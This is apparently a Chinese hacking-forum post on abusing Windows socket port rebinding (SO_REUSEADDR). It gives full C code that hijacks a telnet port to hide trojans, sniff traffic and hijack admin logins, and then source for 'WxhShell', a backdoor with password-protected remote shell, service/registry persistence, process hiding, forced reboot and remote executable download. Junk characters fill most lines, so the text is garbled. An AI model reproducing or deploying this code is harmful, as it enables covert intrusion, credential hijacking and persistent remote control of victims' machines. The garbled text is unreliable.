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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kJJQcjAP:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hl6al:Y  
KGP2,U6  
  saddr.sin_family = AF_INET; q_cqjly<  
rd%3eR?V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \ E[0KvN;O  
c7 wza/r>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /~g M,*  
~g1@-)zYxK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "i_tO+  
m_\CK5T_  
  这意味着什么?意味着可以进行如下的攻击: WYEvW<Hv  
' ["Y;/>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /*r MveT  
PcDPRX!@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Wd~}O<"  
`Bkba:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K8284A8v  
[r^f5;Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GbB&kE3KP  
8ne5 B4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IQ2<Pinv  
iDHmS6_c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,Z MYCl]  
`z+:Z>>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {) Y &Vr5  
k E6\G}zj  
  #include ~)oC+H@{  
  #include UT[KwM{y  
  #include 2eyvY|:Q>  
  #include    v oC< /}E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Lc<Gn y^  
  int main() ':.d,x)  
  { Ix1ec^?f  
  WORD wVersionRequested; ]S;e#u{QE  
  DWORD ret; CZwZ#WV6  
  WSADATA wsaData; ~POe0!}  
  BOOL val; (_<ruwV]`  
  SOCKADDR_IN saddr; Eq'{uV:  
  SOCKADDR_IN scaddr; 4:6@9.VVT  
  int err; M}38uxP  
  SOCKET s; |$bZO`^  
  SOCKET sc; ] +Gi~  
  int caddsize; _|*3uGo:  
  HANDLE mt; !H?#~{ W}  
  DWORD tid;   (">!vz  
  wVersionRequested = MAKEWORD( 2, 2 ); DPy"FQYZb  
  err = WSAStartup( wVersionRequested, &wsaData );   ;h  
  if ( err != 0 ) { 7sHtJr  
  printf("error!WSAStartup failed!\n"); ps<JKHC/c  
  return -1; K})j5CJ/  
  } m;Sw`nw?  
  saddr.sin_family = AF_INET; WGp81DNS|  
   Z(Q?epyT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2"V?+Hhz  
(`>4~?|+T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HnOp*FP  
  saddr.sin_port = htons(23); ?bN8h)>QQ8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7cvbYP\<lv  
  { +yCIA\i#t6  
  printf("error!socket failed!\n"); gI\J sN  
  return -1; N'2u`br4KP  
  } `"-)ObOj}  
  val = TRUE; W P.6ea7k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K 7YpGGd5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6PJ0iten  
  { /!7m@P|&D  
  printf("error!setsockopt failed!\n"); W.0dGUi*  
  return -1; #kma)_X  
  } }Qg9l|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9"MC<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }.` ycLW'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  /H!I90  
2v%~KV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9^Wj<  
  { ChmPO|2F  
  ret=GetLastError(); >rYP}k  
  printf("error!bind failed!\n"); "p$`CUtI  
  return -1; G4<'G c  
  } *W# x#0j  
  listen(s,2); wU+ofj; +I  
  while(1) Lxd*W2$3_  
  { =xa`)#4(  
  caddsize = sizeof(scaddr); jF-z?  
  //接受连接请求 >@y5R^B`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H;IG\k6C  
  if(sc!=INVALID_SOCKET) jOEb1  
  { O`|'2x{[O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y4M<L. RO  
  if(mt==NULL) ds7I .Q'  
  { B6=8cf"i  
  printf("Thread Creat Failed!\n"); {!6!z,  
  break; W13$-hf9  
  } my*UN_]  
  } fn;7Nf7{  
  CloseHandle(mt); :5h&f  
  } \zgRzO'N  
  closesocket(s); HOu<,9?>Q  
  WSACleanup(); $IB@|n  
  return 0; +2C:]  
  }   g-')|0py  
  DWORD WINAPI ClientThread(LPVOID lpParam) <qHwY.  
  { {kW!|h&'  
  SOCKET ss = (SOCKET)lpParam; J/RUKhs/  
  SOCKET sc; uX`Jc:1q3  
  unsigned char buf[4096]; {b]WLBy  
  SOCKADDR_IN saddr; `db++Z'C  
  long num; Ak>RLD25_  
  DWORD val; "kf7??Z  
  DWORD ret; vbFY}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;~/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f+L )x  
  saddr.sin_family = AF_INET; ,n&Dg58K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ScM2_k`D  
  saddr.sin_port = htons(23); WY<ip<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zPhNV8k-  
  { /mqEc9sq,  
  printf("error!socket failed!\n"); zjVb+Z\n  
  return -1; I 9tdr<  
  } b4,yLVi<T  
  val = 100; }Y<(1w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =\oNu&Q^  
  { i-tX5Md|  
  ret = GetLastError(); 5+,&9;'Y^  
  return -1; k]I<%  
  } 0=-h9W{zI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _K/h/!\n  
  { T[ mTA>d  
  ret = GetLastError(); _3kAN .g  
  return -1; @bD,^3U  
  } *B@<{x r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~EX/IIa{  
  { Vf O0 z5&  
  printf("error!socket connect failed!\n");  q#MA A_  
  closesocket(sc); [.3M>,)+-  
  closesocket(ss); mufF_e)  
  return -1; GT#iY*  
  } W;Fcp  
  while(1) \kC/)d  
  { `?`\!uP"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >f}rM20Vm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +O\6p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !U=;e?o  
  num = recv(ss,buf,4096,0); |bB..b  
  if(num>0) mezP"N=L~  
  send(sc,buf,num,0); <qv:7@  
  else if(num==0)  UIhB  
  break; >/evL /  
  num = recv(sc,buf,4096,0); \s+ <w3  
  if(num>0) |)GE7y0Q  
  send(ss,buf,num,0); [R& P.E7w'  
  else if(num==0) 2nOQ48ha T  
  break; u9k##a4.E  
  } # Wh"_zpM+  
  closesocket(ss); W\FKA vS  
  closesocket(sc); *|hICTWL  
  return 0 ; nD E5A  
  } K;S&91V)=  
^VoQGP/cl  
>Li ~Og@  
========================================================== 9u"im+=:  
vhKeW(z  
下边附上一个代码,,WXhSHELL ]3Mm"7`  
SE%i@}  
========================================================== ezHj?@  
=:9n+7~$  
#include "stdafx.h" -+?0|>Nh  
"52wa<MV J  
#include <stdio.h> (Z6[a{}1i  
#include <string.h> OJ] {FI  
#include <windows.h> Yo(8mtYU  
#include <winsock2.h> M> 1V3 sM  
#include <winsvc.h> F'|,(P  
#include <urlmon.h> 7.akp  
| M-@Qvgh  
#pragma comment (lib, "Ws2_32.lib") =a7m^e7  
#pragma comment (lib, "urlmon.lib") tHhY1[A8m  
`| R8WM  
#define MAX_USER   100 // 最大客户端连接数 @AVx4,!>[  
#define BUF_SOCK   200 // sock buffer NL2n\%n  
#define KEY_BUFF   255 // 输入 buffer xI_WkoI  
213D{#2  
#define REBOOT     0   // 重启 AB+Zc ]  
#define SHUTDOWN   1   // 关机 >-+MWu=  
dv@6wp:  
#define DEF_PORT   5000 // 监听端口 r_ r+&4n  
l m-ubzJN  
#define REG_LEN     16   // 注册表键长度 I caIB)  
#define SVC_LEN     80   // NT服务名长度 j:U>V7Kn3~  
0qJ 3@d  
// 从dll定义API h-!(O^M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [o|]>(tk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1&wZJP=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Zad+)~@!tq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G|Q}.v  
=fG(K!AQ  
// wxhshell配置信息 Ia>qVM0  
struct WSCFG { AGrGZ7p]  
  int ws_port;         // 监听端口 r]8tl  
  char ws_passstr[REG_LEN]; // 口令 Zj`eR\7~  
  int ws_autoins;       // 安装标记, 1=yes 0=no `1pri0!  
  char ws_regname[REG_LEN]; // 注册表键名 n>Zkx+jLj<  
  char ws_svcname[REG_LEN]; // 服务名 VVCCPK^<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l  4~'CLi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VAq( t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @A$%baH0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @/|sOF;8W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" unjo&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G++kU o<  
!.3 MtXr  
}; /R@(yT=t  
yu}4L'e  
// default Wxhshell configuration hhYo9jTHW  
struct WSCFG wscfg={DEF_PORT, )Tb{O  
    "xuhuanlingzhe", 6jF~zI^  
    1, @JN%P} 4)  
    "Wxhshell", {n.g7S~  
    "Wxhshell", U.>n]/&  
            "WxhShell Service", Td8'z'  
    "Wrsky Windows CmdShell Service", 3PBg3Y$  
    "Please Input Your Password: ", j|+B|   
  1, 4.??U!r>KI  
  "http://www.wrsky.com/wxhshell.exe", 9f BD.9A  
  "Wxhshell.exe" e(!a~{(kq%  
    }; 7d'@Z2%J0  
1 4(?mM3   
// 消息定义模块 |fRajuA;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :q6hT<f;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ed\,FWR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rZ0@GA  
char *msg_ws_ext="\n\rExit."; -4GSGR'L&y  
char *msg_ws_end="\n\rQuit."; a#G7pZX/I}  
char *msg_ws_boot="\n\rReboot..."; 6p1TI1(  
char *msg_ws_poff="\n\rShutdown..."; fI"`[cA"]  
char *msg_ws_down="\n\rSave to "; '@pav>UPD  
bM;tQ38*  
char *msg_ws_err="\n\rErr!"; W>1\f0'  
char *msg_ws_ok="\n\rOK!"; a&Z|3+ZA  
sH+]lTSX6{  
char ExeFile[MAX_PATH]; Z.YsxbH3  
int nUser = 0; 0} P&G^%"  
HANDLE handles[MAX_USER]; =E |[8 U)  
int OsIsNt; +.>O%pNj  
:%!SzI?  
SERVICE_STATUS       serviceStatus; @^;\(If2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9rA3qj%  
1X#`NUJ?2  
// 函数声明 ^!kv gm<{$  
int Install(void); 6EPC$*Xp!  
int Uninstall(void); Dw.>4bA.  
int DownloadFile(char *sURL, SOCKET wsh); &,KxtlR![  
int Boot(int flag); ~r>WnI:vg  
void HideProc(void); UbMcXH8=F  
int GetOsVer(void); ! '2'db  
int Wxhshell(SOCKET wsl); #2cH.`ty  
void TalkWithClient(void *cs); xn6E f"  
int CmdShell(SOCKET sock); n,V`Y'v)  
int StartFromService(void); +S3'ms  
int StartWxhshell(LPSTR lpCmdLine); 4&`66\p;  
CQv [Od  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y-9]J(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [Q^kO;  
Odbjl[>k  
// 数据结构和表定义 HkrNh>^=  
SERVICE_TABLE_ENTRY DispatchTable[] = q*'hSt@+D  
{ B]]M?pS  
{wscfg.ws_svcname, NTServiceMain}, .|iUDp6vz  
{NULL, NULL} 6^ /C+zuX  
}; Ylo@  
ngdVRJL  
// 自我安装 Sb,{+Wk  
int Install(void) V8,$<1Fi;-  
{ 2etlR  
  char svExeFile[MAX_PATH]; <(^-o4Cl  
  HKEY key; kg !@i7  
  strcpy(svExeFile,ExeFile); YY]LK%-  
]v9<^!  
// 如果是win9x系统,修改注册表设为自启动 qrt+{5/t  
if(!OsIsNt) { BwL: B\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :uI}"Bp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 65<p:  
  RegCloseKey(key); Sfvi|kZX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FE_n+^|k<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <BO|.(ys  
  RegCloseKey(key); xt3IR0  
  return 0; xQmk2S` y  
    } Y %<B,3  
  } ^ro?.,c T  
} (:hPT-1  
else { sAnH\AFm  
. t~I[J\<  
// 如果是NT以上系统,安装为系统服务 :b.#h7Qt<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F*]AjD-  
if (schSCManager!=0) 8:0l5cZE  
{ <:%Iq13D  
  SC_HANDLE schService = CreateService d<Z`)hI{K  
  ( >iG`  
  schSCManager, 4}NFa; M1  
  wscfg.ws_svcname, gbI0?G6XN/  
  wscfg.ws_svcdisp, 8`^I. tD  
  SERVICE_ALL_ACCESS, @c{Z?>dUc#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mr`u!T&sc  
  SERVICE_AUTO_START, 6aj)Fe'2  
  SERVICE_ERROR_NORMAL, =e ;\I/  
  svExeFile, 9MGA#a  
  NULL, ;JAe=wt^'I  
  NULL, yyiZV\ /  
  NULL, ~ xXB !K~C  
  NULL, /,B"H@ J  
  NULL vKI,|UD&-  
  );  _@d.wfM  
  if (schService!=0) qkR.{?x  
  { @9QHv  
  CloseServiceHandle(schService); }~A-ELe:  
  CloseServiceHandle(schSCManager); OCR x|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xorFz{  
  strcat(svExeFile,wscfg.ws_svcname); !'PPj_Hp]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OS \co :  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4>, <b1Y  
  RegCloseKey(key); /] R]7  
  return 0; .11iulQ  
    } K` U\+AE  
  } 7dW9i7Aj  
  CloseServiceHandle(schSCManager); 2{&|%1Jg  
} 0gt/JI($  
} P= S)V   
OBj .-jL  
return 1; /n:s9eq  
} N\xqy-L9  
q A G0t{K  
// 自我卸载 Z\@vN[[  
int Uninstall(void) Ar>Om!]=v  
{ G\Sd!'?p  
  HKEY key; +z9;BPw %  
aY"qEH7]  
if(!OsIsNt) { 44S<(Re  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W]rXt,{ &  
  RegDeleteValue(key,wscfg.ws_regname); Imv kB~8N  
  RegCloseKey(key); EJL45R>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i?mDR$X:  
  RegDeleteValue(key,wscfg.ws_regname); b7"pm)6  
  RegCloseKey(key); ]C]tLJ!M  
  return 0; *d(wO l5[  
  } =Ybbh`$<  
} <Oy%  
} ?(ks=rRK  
else { E9 q8tE}  
F,4Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tm` QZh3  
if (schSCManager!=0) d eTUfbd'  
{ 3+!N[6Od9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a eP4%h  
  if (schService!=0) U,g!KN3P  
  { >.M `Fz.  
  if(DeleteService(schService)!=0) { a1om8!C  
  CloseServiceHandle(schService); ty/jTo}  
  CloseServiceHandle(schSCManager); E{lq@it32p  
  return 0; {V:?r  
  } (&X"~:nm2  
  CloseServiceHandle(schService); ^\_`0%`>  
  } J$'T2@H#  
  CloseServiceHandle(schSCManager); xazh8X0P  
} pk"JcUzR  
} 7b Gzun&  
0MPsF{Xw[  
return 1; r+ vtKb  
} Sqfa,3?L  
d9sgk3K  
// 从指定url下载文件 h2,A cM  
int DownloadFile(char *sURL, SOCKET wsh) @Z.Ne:*J  
{ 36lIV,YnU  
  HRESULT hr; y(N-1  
char seps[]= "/"; (U-p&q>z  
char *token; 8f29Hj+  
char *file; >} aykz*g  
char myURL[MAX_PATH]; H&%=>hyX  
char myFILE[MAX_PATH]; B&L{/.v_z\  
zJ &qR  
strcpy(myURL,sURL); 5X~ko>  
  token=strtok(myURL,seps); r$0=b -  
  while(token!=NULL) z<@$$Z=0UF  
  { xaS kn  
    file=token; -3KB:K<  
  token=strtok(NULL,seps); 6"%[s@C  
  } ,PIdPaV--  
9|'bPOKe  
GetCurrentDirectory(MAX_PATH,myFILE); 0BE%~W  
strcat(myFILE, "\\"); $SXF>n{}  
strcat(myFILE, file); iUl{_vb  
  send(wsh,myFILE,strlen(myFILE),0); ` 6"\.@4  
send(wsh,"...",3,0); YQ?|Vb U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5[*MT%ms  
  if(hr==S_OK) 3b PVKsY  
return 0; ~\i uV  
else ',O@0L]L  
return 1; Y}|78|q*  
e HOm^.gd  
} ClfpA?vv  
$_)f|\s  
// 系统电源模块 8q0f#/`v  
int Boot(int flag) qo}kwwWN;  
{ ";>D0h^D  
  HANDLE hToken; t?c*(?Xa  
  TOKEN_PRIVILEGES tkp; Sb{S^w\m0  
] c'owj  
  if(OsIsNt) { T!;<Fy"p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o}Xp-P   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s&fU|Jk8  
    tkp.PrivilegeCount = 1; }hBv?B2/1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (/hF~A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Juhl^LM;  
if(flag==REBOOT) { M{(Y|3W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cBm3|@7  
  return 0; JG4&eK$-  
} &0ULj6jj  
else { -<<!eH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7IIM8/BI  
  return 0; h@Hmo^!9J  
} ZW\h,8%  
  } 50'6l X(v,  
  else { Riw>cVi~  
if(flag==REBOOT) { rre;HJGEL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j+Tk|GRab  
  return 0; 5 wc&0h  
} Dxu )by  
else { 9ge$)q@3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2.:b   
  return 0; w]%r]PwU+  
} |L+GM"hg  
} wTTQIo 60  
LpF6e9V\Wp  
return 1; |]B]0J#_  
} tdt6*  
U O[p   
// win9x进程隐藏模块 i>w>UA*t  
void HideProc(void) .t}nznh  
{ #u2PAZ@qd  
PB9<jj;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yBr{nFOgdY  
  if ( hKernel != NULL ) "/\:Fdc^  
  { h2tzv~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Dic(G[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }- +;{u  
    FreeLibrary(hKernel); +nqOP3  
  } =|G PSRQ  
',CcLN  
return; Ao]F_hZ  
} ph|3M<q6  
\(A>~D8Fo  
// 获取操作系统版本 */S ,CV  
int GetOsVer(void) ^^%*2^  
{ wDSU~\  
  OSVERSIONINFO winfo; g xLA1]>{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D1Fc7! TV  
  GetVersionEx(&winfo); JEAqSZak#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {<|0M%v  
  return 1; r2hm`]\8M  
  else MZ+"Arzb  
  return 0; j5RM S V  
} xW^<.@Agm  
#}vcffgZ  
// 客户端句柄模块 z#-&MJ  
int Wxhshell(SOCKET wsl) ?Dfgyz  
{ S ":-5S6  
  SOCKET wsh; #6YNgJNk  
  struct sockaddr_in client; W*_ifZ0s.  
  DWORD myID; V&f3>#n\  
XFX:) l#o  
  while(nUser<MAX_USER) $AX!L+<!  
{ L'Wcb =;  
  int nSize=sizeof(client); 9> (8r+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dFS+O;zE\  
  if(wsh==INVALID_SOCKET) return 1; WIb U^WJ0  
4+uAd"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mM95BUB  
if(handles[nUser]==0) v8WoV*  
  closesocket(wsh); Q"(i  
else +^%F8GB  
  nUser++; LS \4y&J40  
  } ,0 ])]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M9iu#6P  
:oZ30}  
  return 0; "%sW/ph  
} `5gcc7b  
y6Rg@L&U  
// 关闭 socket sF}E =lY  
void CloseIt(SOCKET wsh) =?/J.[)<*  
{ ho0T$hB  
closesocket(wsh); {Ji[d.cY  
nUser--; `zTVup&  
ExitThread(0); Ddu$49{S:  
} 5jbd!t@L  
gE%-Pf~  
// 客户端请求句柄 KBOxr5w  
void TalkWithClient(void *cs) [jY_e`S  
{ T}g;kppC  
N7[i443a  
  SOCKET wsh=(SOCKET)cs; ni3^J5XW  
  char pwd[SVC_LEN]; 3s$m0  
  char cmd[KEY_BUFF]; WSh+5](:  
char chr[1]; N L~}  
int i,j; 6W$k^<S  
:vm*miOF  
  while (nUser < MAX_USER) { |)0kvf?  
9GCxF`OB  
if(wscfg.ws_passstr) { <oO^ w&G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p>!`JU`{?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tcmG>^YM  
  //ZeroMemory(pwd,KEY_BUFF); *)"`v]  
      i=0; aP2  
  while(i<SVC_LEN) { &a7KdGP8V  
]"F0"UH,  
  // 设置超时 6o {41@v(  
  fd_set FdRead; O.!|;)HQ  
  struct timeval TimeOut; 3'IF? ](]U  
  FD_ZERO(&FdRead); RW%e%  
  FD_SET(wsh,&FdRead); \-c70v63X  
  TimeOut.tv_sec=8; X}_kLfP/9  
  TimeOut.tv_usec=0; R ]HHbD&;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z0doL b^!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Un7jzAvQ  
,7<5dIdZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~%>ke  
  pwd=chr[0]; 3~"G27,  
  if(chr[0]==0xd || chr[0]==0xa) { / bfLox  
  pwd=0; "Bn!<h}mg  
  break; tP7l ;EX4  
  } z[[|'02{  
  i++; UoBmS 5  
    } c]#F^(-A`  
^jqQG+`?  
  // 如果是非法用户,关闭 socket yB,$4:C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m)g:@^$  
} A6pPx1-&  
[|E 93g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6f{Kj)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4h|sbB"t  
4f'1g1@$  
while(1) { AEp|#H' >  
R~PD[.\u  
  ZeroMemory(cmd,KEY_BUFF); r3{Cuz  
QS\H[?M$  
      // 自动支持客户端 telnet标准   .\".}4qQ  
  j=0; {p=`"H>  
  while(j<KEY_BUFF) { vYcea  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \mbm$E+X  
  cmd[j]=chr[0]; p gW BW9\  
  if(chr[0]==0xa || chr[0]==0xd) { R %aed>zo  
  cmd[j]=0; h3[^uY e  
  break; \u9l4  
  } a=]tqV_  
  j++; :6:;Z qn  
    } MZZEqsD5[  
Pp#  
  // 下载文件 !?#B*JGFS  
  if(strstr(cmd,"http://")) { p48m k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Na=.LW-ma=  
  if(DownloadFile(cmd,wsh)) IT!u4iH[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Fvp~]jCb  
  else 'I^3r~_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9kZ[Z ,=>  
  } +-"uJIwMD  
  else { bys5IOP{]o  
"MM)AY*b  
    switch(cmd[0]) { v P;  
  |zd+ \o  
  // 帮助 gc,%A'OR^<  
  case '?': { =#L\fe)q)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 40h  
    break; (q o ?e2K  
  } @$mh0K>  
  // 安装 ?DJ/Yw>>3  
  case 'i': { 2 8>  
    if(Install()) \Hb"bv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z{XF!pS%H  
    else 5NGQWg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >L4q>S^v  
    break; ^`iqa-1  
    } &"l Sq2  
  // 卸载 &;3iHY;  
  case 'r': { uE E;~`G  
    if(Uninstall()) AdU0 sZ+&c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yrvV<}  
    else t9l]ie{"o.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Z]%jABR  
    break; @3*S:;x  
    } Oz{FM6  
  // 显示 wxhshell 所在路径 ]Xm+-{5?!R  
  case 'p': { Nhf@Y}Cu  
    char svExeFile[MAX_PATH]; &s^t~>Gpr  
    strcpy(svExeFile,"\n\r"); /0m0""  
      strcat(svExeFile,ExeFile); ZX0#I W  
        send(wsh,svExeFile,strlen(svExeFile),0); "50 c<sZSB  
    break; n?(sn  
    } @oKW$\  
  // 重启 &TT vX% T  
  case 'b': { 3-Bz5sj9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mswAao<y&x  
    if(Boot(REBOOT)) KOhK#t>H@0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K0A[xkX6  
    else { A<}nXHs-  
    closesocket(wsh); slnvrel  
    ExitThread(0); q:cCk#ra  
    } vJj}$AlI  
    break; 9y}/ G  
    } %w#z   
  // 关机 ]y9u5H^  
  case 'd': { ##6u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2WUl8?f2Y  
